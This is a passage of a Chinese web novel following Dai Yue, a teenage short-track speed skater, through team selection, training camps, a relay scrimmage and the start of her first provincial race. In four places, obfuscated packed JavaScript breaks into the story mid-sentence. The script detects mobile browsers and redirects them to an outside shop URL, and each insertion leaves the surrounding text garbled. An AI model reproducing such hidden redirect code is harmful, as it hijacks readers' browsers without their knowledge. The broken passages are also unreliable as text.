周一上午,代越挑了一个课间去和班主任请假。 班主任宋老师对于代越请假的理由,惊讶之余也不免有些担忧,毕竟是重点班,给代越家里人打电话确认以后,才安顿她,别把学习落下,最后批了假。 既然已经请了假,同学们就都能看到,代越也没打算瞒着他们,但万万没想到,会是体育老师郭沫把这个事情公布。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345281|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们班里的代越同学,周末以第一名的成绩通过了市里短道速滑选拔赛,明年三月份会代表市队参加省运会。” “当然,参加省运会也不是说就有很大的荣誉了,但是我想借由代越呢,告诉大家,其实学习好并不意味着体育就一定差,大家上体育课呢,也要态度端正一点,有强健的体魄做什么事都有基础不是?” 话说是没有很大的荣誉,但他其实可自豪了,没想到随随便便带的学生,就有这样的实力,可把老雷嫉妒坏了,这要是在明年的比赛里得了奖,学校肯定要通报,他明年的评优不也多了条佐证不是。 下面的同学小声议论着短道速滑是什么比赛,眼神一直瞟着站在后面的代越。 代越面上是宠辱不惊的样子,实际上还是有点羞耻的,这种当面夸,她很多年没有经历过了。 但在同学们说有条件要去给她加油的时候,立马感觉到一股暖心。 同桌薛薛知道代越要每天下午早走去训练,主动扛起了帮她记作业划重点的任务,还和宇宇对接上了,让代越什么都不用管,轻装去训练,她会把要写的作业都整理好然后交给宇宇带回去,这样代越回家就直接写作业就行。 甚至都不让代越拒绝,说如果她感动了的话,以后比赛能搞得的亲友票必须有她们的份,她们还从来近距离没看过短道速滑比赛呢。 代越用力点点头,然后给了两人一人一个拥抱。 —— 市体校操场边,四排穿着各式各样校服的同学站在一起,女生在前两排,男生在后两排,代越在女生队伍倒数第二排的位置。 “我叫杨洲,是你们最近几个月的主教练,大家都是通过选拔赛选出来要代表市里比赛的,但是我要提醒你们一点,市里名额是有限的,并不是每一个人都能留到最后的,集训结束我会根据表现和成绩,每个项目的前三名才能参加省运会。” 脸色有些黝黑的老头站在队伍中间,精神看上去格外好,大家对他都有点印象,选拔赛的裁判老师嘛见过,只是说话语气凶巴巴的,感觉很不好相处。 “废话我就不多说了,让你们自我介绍也没必要,谁成绩好,你们自己就能记住,现在把包和衣服那些放一边,先去跑步热身。” 下马威是一个接着一个。 有个男生问,“教练,跑几圈?” 杨洲往起点处的台子上一坐,“跑到我说停为止!”然后用笔在本子上敲了敲,“至于你们跑成什么样,我都会记下来的,所以你们最好不要偷懒。” 第一天训练,没有人想触这位教练的霉头,两列队伍整齐有序的逆时针跑动起来。 有几个想要给教练留下深刻印象的,立马冲在了最前面,以高于队伍的速度拉开一定距离。 代越还是缀在后面,杨教练都说了,跑到他喊停,这个停还不知道是什么时候,得做好持久战的准备,均匀呼吸,掌握自己的节奏。 9. 第九章 “咱们选拔赛有这么多人吗?我怎么感觉都没见过!” “应该不只有短道的人吧!” “你们是滑短道的啊,我是大道的,咱们两个项目是一个教练带,没办法,咱们这边滑冰教练少。” 前面几个人已经聊起来了。 左边女生说,“一半短道一半大道,那人也不多啊,竞争也没那么大吧,杨教练故意吓我们吧!” 右边男生说,“老师一般都是这个话术,总共十个人,三个项目选前三,不是还有接力比赛吗?这还能进不了?” 两人后面的女生忍不住了,“你们是数学不好还是脑子不行?谁跟你说一个人只能在一个项目当前三了?人家厉害的都是全项目包揽第一。” 她说完几个短道的女生就默契的集体看向了身后。 大道的男生没太看懂,“你们看什么呢?” 女生有些幽怨,“看厉害的能全项目包揽的那位呢!” 代越当然听到了他们的交谈,对上众人的视线,也只能眨眨眼睛,眼角微微勾起的杏仁眼里满是无辜。 年纪稍大的女生问旁边的人,“她多大来着?” “好像是十三还是十四,反正岁数最小了。” “那完了,一点气也生不起来了,全是溢出的姨母心。” 第一圈第二圈,大家还能兴致勃勃相互聊聊,拉进一下关系,第三四圈逐渐沉默了,五六圈的时候只剩下了喘息声,体力不太够的人已经远远的坠在了后面,代越用均匀的速度升到了第一梯队。 再绕了一圈,在起点斜对角的位置旗杆台子那蹲了几个人,藏在后面离近了才能看到,不出意外,他们是上圈就躲在那里的,代越远远的看了一眼气定神闲的杨教练,他似乎低着头在本子上写写画画,不知道有没有注意到有人在偷懒。 又有几个人被感染来回望着教练的身影,然后悄悄脱离队伍,也有已经歇了一圈的人重新进来队伍,看似没有什么变化。 代越突然想到上辈子在网上看到的段子,作弊的学生在监考老师眼里是什么样子的,每一个动作表情都无比清晰,杨教练会不会注意到偷懒的选手?显而易见,会但不在意,因为每一份训练都会化作赛场上的实力,冰面不会辜负努力的人。 “停吧!”杨教练指挥代越他们前面这批到达的选手停下,又等着后面的人到。 代越一边走动一边平复呼吸,身上湿漉漉的,好像跑了二十二圈还是二十三圈,总感觉过了很漫长的时间。 列队站好之后,又有几个人迟迟的赶回来,脸上满是心虚,在教练平淡的让他们站在队伍后面的语气中,又长舒一口气。 集训第一天,先跑步一小时。 接着杨教练带着大家熟悉要训练的每一处场地,操场就不用说了,二十多圈足够认识了,更衣室也临时给每个人准备了一个柜子,没贴标签谁先到谁抢个不那么破的,然后是室内健身房,器械很全,都分不清哪些有用哪些用不上,还有卫生间的位置,不出意外,大家在体校就是这几个地方周转了。 “明天给你们发日常训练的队服,还有训练计划,今天就到这里,大家回家都注意安全,明天别迟到了!”第一天提前结束了。 腿有点酸,但看看时间,也只是正常放学的点,再去趟冰场吧,权当放松了,坐在公交车倒数第二排,把帽子戴起来,头倚在窗户上,一半心神留在听到站播报,一半心神陷入睡眠。 —— “1号,代越——”队服发的是普通运动短袖和长裤,平时冰下训练的时候穿,没什么特别的,但是还给选手发了号码牌,圆形的,和短道比赛的号码牌有点类似。 杨教练每念到一个名字发一个,“号码牌拿回去贴在你们各自的头盔上,周末上冰的时候都带着。排名是按照你们的成绩来排的,但这个成绩不是固定不变的。” “集训结束时,成绩越好的运动员越能拿到靠前的号码牌。”这种化为实质的排名更激发竞技的动力。 代越明显感觉到好几束灼热的目光盯着自己手中的“1”了。 还拿到了一份短道的训练菜单,每天的计划内容都不一样,今天主要练的是核心。 代越的弓步蹲很标准,她的姿势是从小在梦里被系统掰的,身体压的低,能平衡好久,杨洲见状又给她加了点来自侧方的压力。 没撑住倒下来,杨洲皱皱眉头,“还是太瘦了,别看你滑的好,但是你这身体不禁撞。” 代越也意识到这一点,在滑轮滑的时候,就不像闵静那种风格,能一夫当关万夫莫开,身高不再疯涨之后,她也试图把体格再往上搞搞,但是见效不多。 扬长避短,代越要再练练速度,快到让对手撞不到。 比起枯燥的陆地训练,周末的冰上训练就有意思多了。 2号白慧荣是代越的搭档,两人要练习双人配合滑行,这个训练可以达到三个目的,首先是磨炼跟滑领滑能力,学会跟在后面怎么借风、省体力、保持速度,在前面要控制节奏、速度和线路,其次就是联系超越和配合,换位、掩护、超越时机都是干货。 白慧荣年纪算是队伍里比较大的了,选拔赛她在1500的初赛上还差点赢了代越,已经是高中生的她对着一个才上初中的小孩,说不出所谓你的第一一定是我的这种宣言,只能默默地努力练习,1号2号也成了整只队伍里为数不多不仅训练不偷懒,甚至还要自己加练的组合。 “简直就是两个体力怪物。”休息时间还看到代越两人复盘刚才的超越,其他人不禁感慨,“看样子,这两个人是肯定能占两个位置了。” 虽然每天训练尤其是长跑耐力训练的时候,感觉时间过得特别漫长,但整个月却过得很快,没怎么注意,就已经到第一期集训的尾声了。 最后的测验还是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345282|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那块冰上,500、1000、1500各比一次,没有复赛决赛之分,果然1号2号没变,后面有些人掉了有些人起来了。 但比起排在后面的沮丧,杨教练还宣布了参加第二期外出训练的名单,女子短道速滑只留下了四个人,教练在训练开始前就说不是所有人都能参加比赛,但还是没想到剩下的人甚至都到不了外出集训的阶段。 四个人,接力比赛就是四个人上,甚至多的一个人都没有。 在更衣室收拾东西的时候,白慧荣靠过来,在代越的疑问视线下,沉默了好久,终于下定了决心。 “如果咱俩比赛的时候真的分到一组了,我也可以给你护滑,我希望每轮前两名晋级的时候,都是你和我的名字。”她努力的一个月,认清了自己确实没有代越更有天赋,偏偏自己在她这个年纪的时候也没有这么刻苦,承认比自己小三岁的人更优秀很难。 同时白慧荣也在担心,代越不靠自己的配合实力也足够晋级,那她还愿意拉自己一把吗? 代越像是读懂了她的犹豫,“我当然也这么希望,不然双人训练不就白费了吗!” 但是现在想这些还是早了些。 第一期训练结束还要回学校参加期末考试,初一的课程不算紧张,再加上代越也没耽误太多课程,所以即便因为训练压缩了学习的时间,但也还能跟上进度。 各科成绩出来的很快,比起入学排名稍稍下降了一点,但还在全校前50名里,代越给自己定的底线是,初中别掉到全校200名之后就行。 外出集训前,教练又给发了统一订做的印着L队名称的短道速滑服,还有一件黑色的羽绒服。 代越把自己那件收起来压在包底,然后新的放在上面,该有的装备都要带上,还要带换洗的衣服,妈妈特意为了这次出行,给她买了一个行李箱,方便带走,又在包里塞了五百块钱,和一百零钱。 感冒药,红花油,外伤套装—— “妈,这个不用拿,教练他们都会准备的。我就去待两周,也就一个多小时,不到两个小时的路程,有事我给你打个电话你们很快也能过去了,不用担心啦。” “好,那这个不带了,你到了给我打个电话,你奶奶已经和你姑姑打好招呼了,他们一家就在H市住着,有啥事也能找他们。” “我记住啦,我们快走吧,要来不及了。” 代越拉起箱子,把包的背带拴在行李箱拉杆上,她得先去体校门口和队伍集合,然后一起做大巴去H市。 “等一下!”代越临上车前,爸爸赶回来叫住她,“你把这个拿好,还有电话卡给你办好了,没来得及安,你车上自己安一下,到了H市每天给家里打个电话!” 白色的盒子,上面的手机型号标签还贴着,电话卡也没有掰下来,爸爸是用跑着的,去手机店给她买了一个新手机。 手机是银色的,很漂亮。 10. 第十章 “这三位是借调到我们L队的女队选手,罗亚青、徐媛和张雅洁,这段时间会和大家一起训练。”刚下车到达杨教练就给了大家一个特大冲击。 此时此刻,这三位同样穿着L队队服的队友,却比对手还要有压力,因为她们抢占的是代越她们参加比赛的名额。 住宿是在冰场场馆附近的一个学校宿舍,八人间,代越四人加上新来的三位,都住一间。 瞬间形成了两个小团体,白慧荣她们围在代越身边,小声说着话,眼神时不时看向另一边,但又故意不去聊她们。 那三个人也说着N省的气候,风大,口音带着明显的大碴子味。 东西收拾好,又去食堂吃了口饭,中午睡了一会儿,下午就去冰场了,在这期间,两个小团体之间还是没有说过一句话。 代越弯着腰把冰鞋的鞋带系紧,L队的队服是蓝色的,是那种天空一样的浅蓝色。 她第一次来这种正规的冰场训练,这个场馆比想象中要大好多,比起室外的冰面,这里没有风,滑起来更舒服,比起商场里那个小冰场,这里温度也更底一点,冰面更硬,蹬滑起来不费力,感觉就是能出成绩的样子。 “徐媛,你先领滑,代越,你跟着,交错开来,跟滑动作路线要一致啊!”教练安排训练方式。 “跟滑,跟滑,白慧荣你离张雅洁那么远干嘛?” “曹悦再弯点腰!” “代越把你路线锁住!” 场馆里回荡着教练的喊声,基本上都是对代越他们四个人的。 代越滑动看着自己前方徐媛的背影,她的领滑速度并不快,但很均匀,直道偶尔会模拟一下路线变化,入弯时又会迅速调整到最佳线路。 跟在她身后滑,代越不得不说,很舒服。 双人配合滑行也换了搭档,代越和徐媛一组,白慧荣和张雅洁,罗亚青带着曹悦和张馨月。 矛盾就在分组后不久吵在了明面上。 是罗亚青她们那组吵起来的。 “你懂不懂交替领滑啊!” “你自己超越不过来,怪我咯!” “你把速度提那么快,怎么超越!” “你两别吵了,你俩都有错行了吧。” “说的好像你一点问题没有,刚才要不是你用手扒拉我,我能滑倒吗?受伤了你能赔的起吗?” “不是你先踢我刀我才碰到你的吗?这么矫情你配玩短道速滑吗!” “我再怎么样也比你们配,就你们那水平,参加比赛都是浪费时间,趁早放弃吧。” “就你们成绩好,在你们那呆着呗,来我们N省干嘛,欢迎你了吗!” “还不是你们太弱,求着我们来的。” 话吵到这个份上,来劝架的代越她们心里都不怎么舒服了。 “有什么不爽的,就比一场,冰面上实力说了算。”代越提议到,毕竟接下来还要一起训练,一起参加比赛,教练虽然一直没说,但是她猜到,接力比赛也是要一起上的,别把矛盾留到关键时候。 大家都同意,都憋着一股劲想找回场子。 然而被教练和止住了,“比什么赛,谁允许你们私下比赛的!训练时间不好好训练,还敢吵架,一个一个的,都爱滑是吧,排队去滑三百圈去,每圈都给我滑8秒5内去!我会掐着表的” 两百圈的慢滑技术滑对于代越她们来说,还是很轻松的,但是加上配速就很累了,要一直顶着滑,不能慢下来。 代越离开冰场的时候感觉头都是懵懵的,视线感觉看什么都是一片白,有种看见冰就想吐的感觉,然后在梦里真的吐了。 吐完还要继续看,因为根本醒不过来,脑海中不停的回放着徐媛滑冰的姿势,代越能感觉出来她是三个人当中最强的,有着很明显的东北系短道速滑风格,极致低重心、贴冰滑行,超越的时候几乎是贴着前面的人,一点也不怕碰撞。 代越努力吸收着别人的优点,一点一点揉进自己的技术里。 —— 周末代越背着包刚走进冰场,就看到白慧荣她们都站在冰场边上,气呼呼的,冰上有一队穿着绿色队服的人在训练。 “这是什么情况?”代越问。 白慧荣回答,“H队的,约的冰场训练时间是在咱们前头,但是有事来晚了,训练没结束,想让咱们往后移一下,教练去跟沟通了。” “大概率是要让了,毕竟这是人家H市主场。”徐媛站到代越另一边,她两虽然说话少,但和其他人之间比起来还算友好。 过了几分钟,教练沟通的结果是,一起练,轮流滑,交流交流技术,顺便看看对方接力水平。 三月份,这可是她们的直接对手。 杨教练也有自己的用意,他没让代越、徐媛和白慧荣上场,反而是前两天吵起架的三个人和平时话也不怎么说的张雅洁,四个人打配合。 “你们三商量安排她们的上场顺序和战术!我不参与。”教练挑挑眉,提出这么一个方法,“输了的话全队写检讨。” 三人只能点点头。 女子三千米接力,在短道速滑里,四个人参加的接力,每个人滑的距离却不是平均分下来的那一点,前一个人滑的时候,下一个就要在内圈跟滑,既要维持接力的速度不掉下来,又要保证接力的流畅度,外圈如果有超越行为,那内圈也要第一时间反应过来,不然就有可能漏棒。 规则里除了最后两圈必须由同一个人滑完,其他时间什么时候任何直道都可以交接棒。 代越她们接受的主流棒次是,一棒作为起跑棒抢内道、占好位、稳节奏,二棒作为过渡棒稳速度、控节奏、跟住领滑、找超越窗口,三棒作为超越棒需要在中后程发力、实现超越、建立或者扩大优势,四棒是冲刺棒最后3圈交接后,独自滑完最后2圈冲刺。 “罗亚青滑第一棒吧,她起跑很快,能占住位置。”徐媛了解的更多。 白慧荣想说张馨月起跑也不差,但想到罗亚青比张馨月大一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345283|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈的体格,好像确实她抢位置更合适。 “那就冲刺让曹悦来,她体能最好。”她不甘示弱的说。 “二三棒让张馨月和张雅洁交替着来吧,都是超越位。”代越提议,而且教练不是想练默契吗?交错开才有效果。 四人站在起跑点的时候,代越也在观察H市的队员,见H队的教练频频和冰场围挡外的一位选手说话,不难猜出来两位教练的想法怕是撞了,对方队伍也没有拿出最强的实力。 比赛开始,滑行,交替,滑行,交替,L队暂时排在前面,H队也没有拉开距离,紧紧贴着。 又是一段滑行,是第二棒的张馨月,奋力的蹬腿,但H队似乎这一棒更游刃有余一些,他没有急着超越,反而在出弯的一瞬间,卡着交接棒的前夕,内道插过去了。 与此同时H队的三棒进场,从距离位置上看,卡在了张馨月和张雅洁中间,时间很短暂,但是L队的交接直接被打断了。 又因为H队的交接处于张馨月的斜前方,交替下场的二棒也没有对L队形成阻拦,所以是规则范围内允许的。 更糟糕的是,张馨月已经双手伸直做好了推下一棒的准备,在这种影响下,整个人身体失衡,从侧面摔了出去。 “完蛋!”大家心里都这么想。 张雅洁第一时间回身朝张馨月冲过去,在她手还没有放下来的时候拍上去,交接完成,尽管这短短几秒钟,H队已经进了下一个弯道。 冰场上只要能站起来就不会轻易放弃,张雅洁用力提速追赶,场上选手的速度几乎已经提到了最快,但在代越她们这些旁观者眼里,能够明显感觉出来,距离在被一点点拉近。 张馨月也爬起来了,四人都在拼命追赶,这一刻心拧成了一股绳,顾不得别的。 最后两圈,到了曹悦,曹悦是她们当中年龄最大的,据说小时候踢过女足,跑一个小时不带喘的,这个时候背在后腰的手也已经攥紧了,蹬腿的时候冰刀在冰面上留下一道深深的痕迹。 快到终点了,最后一个弯道出弯,前后两个人紧紧贴着,已经没有机会拉外道了,只能试图从内道切过去,加一刀,可惜被发现了,H队双腿分开,大面积锁住内道,都不行,那就努力伸腿! 最后,过线! —— “虽然最终还是没有赢下比赛,但是大家都拼搏出了竞技体育的精神,同时也更加团结了。但也发现了在接力方面,我们的队伍存在战术研究不够,默契程度不足的问题。后续训练中,我们还应该在这方面下功夫。” 代越在检讨中最后一段这么写。 这局比赛的关键输点在张馨月和张雅洁的交接棒上,两人很内疚,比赛结束了都还在一起加练,另外两人索性也陪着。 最后变成了教练指导一起练习接力战术,代越看到教练故作严肃但没忍住勾起的嘴角,觉得人家能当教练还是有实力的,队内矛盾最好的解决方式就是转移到对外矛盾,没什么是一场接力解决不了的。 11. 第十一章 自那次之后,代越他们在场馆里经常会碰到H队,一般都是两队交接训练场地,偶尔也会来一场友谊赛交流感情。 “你500米滑的真不错!”说话的是H队的谢婷,她也是H队里年纪最小的选手,和代越同岁,“你名字也好听,不像我这么普通。” 好像是觉得同龄的代越和她有共同语言,所以既自来熟,又话痨,比完一场500米友谊赛,就蹭到代越边上。 “你们队也是从东北那边引外援了?我们队也是,你看场上的比赛,像不像J省内部比赛?”谢婷毕竟年纪小,心里一点藏不住事儿,不过1500米的友谊赛,场上七个人,六个大碴子口音,藏也藏不住,两个队的教练都只能对视苦笑。 N省的短道建设确实迟了点,不过幸好,还有岁数小的还有发展的空间,两位教练都把目光投给了角落聊天的两个小孩。 代越友谊赛只参加500米是教练的战术安排,哪怕是兄弟队,也得藏一手底牌,而且代越年纪小,耐力不足以参加长距离比赛多顺理成章,万一从兄弟队口中传出去L队出了个小天才,引得E队、M队还有主场作战的F队提前防备就不好了。 在外人面前需要藏一手,自己人就摸到不少底细了,教练最新给代越测试的成绩,500米滑到了46秒2,手动计时加上0.24秒的误差,也还不到46秒5,常看国际比赛的话,不会觉得这个成绩厉害,但就最近的全国冠军赛成绩看,46秒2虽然拿不上甲组的奖牌,但也能进决赛了。 全国锦标赛和代越她们即将要参加的地区运动会在分组上有些区别,省运会是按照年纪分为甲乙组,代越年纪小,只能报乙组,但全国的锦标赛是按水平和成绩分的,杨教练在心里笃定的想,全国比赛才是代越真正崭露头角的时候。 代越也拿到了自己1000米和1500米的速度变化,最快时候1000米达到了1分38秒5,慢的时候也能进1分45秒,1500米进到了2分32秒,在L队中,可以做到遥遥领先的地步。 这个时候,杨教练给代越布置的训练任务重点就放在起跑上,只要起跑占据优势,在不出意外的情况下,代越就能一路滑到底,也正是代越最喜欢的滑冰方式。 之后的训练,不管是在冰面上还是陆地上,起跑处总能看见代越的身影,连起跑真费脚啊,每天用力到脚都是麻的。 赶在年前结束了外训,于是一点作业没做的代越抓紧时间补作业,外面礼花鞭炮震耳欲聋,代越在家里写卷子写的昏天黑地。 2014年就这么来了,接着新年的喜庆,这一年的冬奥比赛,代越家里人都陪她看了直播,尤其是短道速滑决赛,隔着时差,凌晨1点半才开始,全家人都熬了个大夜,但都神采奕奕的期盼四年后,他们在电视上看到的会不会是自己家孩子。 代越用力点头,一定会的。 重播的比赛代越也不耐烦的看了一遍又一遍,竞技比赛好看,能拿冠军的竞技比赛更好看,拿下本届冬奥短道速滑女子500米和1000米金牌的是短道速滑国家队现任的一姐吕娇。 代越听徐媛几个人说过,一姐性子可好了,一般都在国家队训练,有一次回省队还给她们领滑过,徐媛被一姐领滑过,又领滑过代越几个,这样算下来,代越也算是被一姐领滑过了。 想到这里代越没忍住勾起嘴角,那几个家伙一定也在看比赛吧,可能还把这段往事炫耀给旁边的人听。 看比赛看的热血劲涌上来,代越提着冰鞋就去了商业冰场,然后被冰场上满满的人震惊到了。 “阿越,快来帮忙!”冰场老板五姐招呼代越,从冰场刚建起来代越就在这儿滑,加上来来回回的帮忙,熟到老板已经把她当自己家人了。 代越钻到五姐边上服务台的位置,一边穿鞋一边问,“怎么这么多人,六哥呢?” 五姐和六哥这对情侣合伙开的这家冰场,五姐姓伍所以代越一直叫她五姐,刚好六哥又姓陆。 “这几天过年,情侣和小孩多,周围看着的都是家长,我这的鞋都租完了,还有不少人问我这儿有没有教滑冰的老师,不过基本上都是想学花样滑冰,你六哥觉得还挺有前景的,这几天天天搞招聘呢。” 代越不禁又为短道的冷门感慨一下,赶紧下冰去捞人了。 在这里帮忙最常做的就是眼疾手快的把那些摔倒的顾客扶起来,以防他们影响到正常滑行的人。 走的时候代越没要五姐塞过来的小费,让六哥帮忙再联系订做一套短道服的防切割内衬,队服发的短道速滑服代越感觉材质上不是很保险,所以她每次都是先套一层防切割的内衬,再套比赛的队服。 —— 三月份开学,代越才刚上了两天课,就又请假了。 10号开始的省运会,短道速滑作为首日项目,比赛场地定在地理位置靠近东北面的F市。 班里同学非常难过比赛不在L市,他们想给代越加油都不行,代越没忍心告诉他们L市根本没有能比赛的场馆。 不过虽然不能去现场看比赛,但都给代越送上了祝福,和代越关系好的同桌薛薛受到代越影响还看了冬奥,说一定要看看代越得的短道速滑奖牌长什么样。 嗯,这也算是祝福吧,祝福代越能拿奖牌。 这辈子代越还是第一次坐飞机,用手机拍了一些视频打算回去给家里人看,然后就开始晕机了。 没错,代越晕飞机,很奇怪明明自己在冰场上转多快都不晕,但偏偏只晕飞机,杨教练担忧的看着她,从担心会不会影响到这次比赛,到担心以后代越出国比赛。 好在晕机反应也不是特别厉害,只是转大巴的时候代越表情都耷拉着,话也不想说,看上去很不好惹的样子。 白慧荣给代越脑袋上扣了个白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345284|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸭舌帽,仔细端详然后摸摸下巴,“真像越前龙马,这气质,这脸,越越你去cosplay一定很受欢迎,答应我,这几天每天都带着这个帽子,整个省运会的门面担当就是你了。” 另外几个人也跟着出主意,“到时候你可维持住这个表情,咱那个冰鞋包,也是黑色,背后背上跟动漫里那个网球包看上去也差不多。” “咱们多拍几张合照……”然后话题慢慢转到动漫剧情上,时不时在拍照的时候摆弄摆弄代越的头发。 代越眼神里闪过一丝无奈,虽然身体年纪最小,但心理年龄远比他们成熟的自己还能有什么办法呢,只能是纵容了。 杨教练看到这一幕满是对代越的欣慰,队里的小孩天赋高还脾气好,长得好看性格还包容,不怎么说话但和谁关系都能处好,想想竞技体育里最容易出的刺头队员,这,多难得的运动员苗子。 统一安排的酒店住宿,代越他们下车的时候还赶上了有记者在拍照,转头的时候和摄像机撞了个正脸,那位记者后来还把这张照片放在了当天公众号的宣发文上,虽然当时也没有多少人关注到。 房间是两人一间,代越她们队短道一共是七个人来的,别的队伍刚好是偶数,杨教练给代越单独安排了一间房,同房间住的是这次M队的跟队教练陈初清。 “陈教练,快到我们队上冰时间了,我先走了!”代越背上装备,轻声关门,她出去前正好对上陈初青的目光,礼貌的打了声招呼。 关上门,代越长舒一口气,和陌生人住在一起还是有压力的,尤其还是教练,审视的目光快把自己扒干净了。 在门口和队友汇合,张馨月主动凑到代越边上,“我帮你打听到了,和你一屋的那个陈初青教练,也是咱们L队体校出去的,去年出去交流学习,然后就被调走了,估计就是被调到M市了。” “怪不得给你找了这么个安排,看来杨头儿和这个教练关系还挺好的。不过越越你要是觉得不舒服,就来和我们睡,一张床挺大的,睡两个人没啥问题。”徐媛提议。 “是呢,你来我们屋睡也行。”白慧荣她们跟着说。 代越谢过她们,“不用啦,在哪儿睡都一样,快走吧。” —— 冰面有点硬,这是代越上冰后的第一感觉,滑起来倒是不费力,左右加了两刀,容易起速度。 每个队只给分了一个小时的试冰时间,其中还包括清冰时间,代越划了两圈就转到内道练习,把场地留给接力。 这次比赛,杨教练给代越报满了三个单项。竞技体育就是很残酷,每队每项只有三个名额,所以像张馨月、曹悦他们实力差一点的,教练只安排了接力,白慧荣也只有1500一场比赛。 尽管大家都很努力,但除了代越,她们还是和借来的三个人有差距,也就是教练希望本地选手都能上场体验一下,不然怕是都来不了。 12. 第十二章 心情有些激动,代越眼睛明亮的看着天花板,有些不敢相信,明天就是她正式参加比赛的第一天,这届省运会新加的短道速滑比赛,意味着比赛的最好成绩就是赛事记录,她训练了这么多年,但此时此刻好像这辈子的人生才刚刚开始,谁还没点年少轻狂,比起那种平凡的日子,她现在爱极了参加比赛的感觉,就这么一步一步的往高处爬。 “睡不着?”陈初青翻身看到另一张床上的人还睁着眼睛,关心的问。 代越说,“嗯,是不是灯太亮了?”距离陈初青远的那处床头柜上,暖色调的小灯开着,代越是习惯这么睡的,但也要配合同房间的习惯。 “没有,你不用关,就是看你还没睡,明天满满的比赛日程,是不是紧张了?”陈初青教练也就三十岁左右的样子,说话很温柔,一点都不像个体育教练。 代越如实说,“有点紧张还有点兴奋。” 陈初青安慰到,“第一次参加大赛都是这样的,满满习惯就好,我听你们杨教练讲过,你很有天赋,实力也很强,只要稳定发挥就没什么问题,未来还有很多比赛要挑战呢!” 代越默默点点头,得赶紧睡了,不然明天起不来影响状态! “如果还是睡不着——”陈初青刚还想帮她想办法,就听见了代越均匀的呼吸声,有些无奈的笑了笑,刚还说紧张呢,这像是紧张的样子吗? 代越在梦里又站在了冰场上,稍显硬的冰面,速度一点一点提上去,代越努力和这个场馆的冰面培养默契。 截止目前,代越在现实中滑过的冰面,比较舒服的是H市的冰馆,六姐开的那个商场冰面有点软,公园室外的和这次比赛的冰面都偏硬。 她该适应的很快才对,室外的冰比这还硬,所以控制住速度,重心放的再低一些…… —— “要上场了,大家都稳一点,前期不要求快,第一场比赛,大家都不敢滑,所以有机会保存体力,前两名都能晋级,不用非争第一,不要受伤!”教练抓紧时间安顿。 第一个比赛日上午就要结束全部的1500米比赛,预赛、半决赛、决赛,压力还是很大的。 代越抽到了第3组,白慧荣和张雅洁一个在第4组,一个在第5组,都比较靠后,所以代越也算是L市女队第一个上场的人。 “加油!” “加油!” 顺着入场区方向和大家拍手之后,扶着防护垫取下黑色的冰刀套放在一边,踩上冰面,扯扯防护手套,尤其是左手,拉紧,再甩甩腿,腿部肌肉放松下来,然后在内圈滑了一圈,慢慢挪到起跑线,代越在七道,直接排在了第二排。 观众很多,大概是有学校组织过来看比赛,有种万众瞩目的感觉,虽然不是很紧张,但心脏还是越发有力的跳动起来。 “准备——” 枪声响起,大家挤成一团,正如杨教练所说,似乎大家都在试探,谁都不愿意排在前面,来回交替放缓节奏,第一眼看上去就像是在集体散步。 代越也跟在后面,本来她就在第二排出发,怎么轮换都没有把她挤到第一排,她也没有主动上前,后面她比赛多,能节省一圈体力就节省一圈,反正最后一千米或者五百米冲对她来说也都可以接受。 就这么溜溜达达了三圈,有人耐不住性子了,外道上前,开始提速,代越顺势跟上,瞬间想提速的和想压速的就分成了两条队伍。 内道的选手并没有阻拦,于是外道三个人顺利的来到前三,代越就排在第三个。 整体速度虽然提起来了,但还是不算太快,代越在心里预估一圈时间估计还到不了11秒。 1500米一共要滑13圈半,代越给自己定的超越圈数是最后6圈,心里默默倒数着。 “八圈——” “七圈——” “六圈——” 就过了这个弯道吧。 刚一出弯,代越就滑到了外道,加两刀,再入弯的时候已经在身位上领先了,没有急着往内道挤压,左手扶冰先稳住身体。 出弯时感觉到和后面人的身位并没有因为内外道的长度而拉进距离,她还差代越一个身位,当机立断,内道封锁。 “还剩下五圈。” 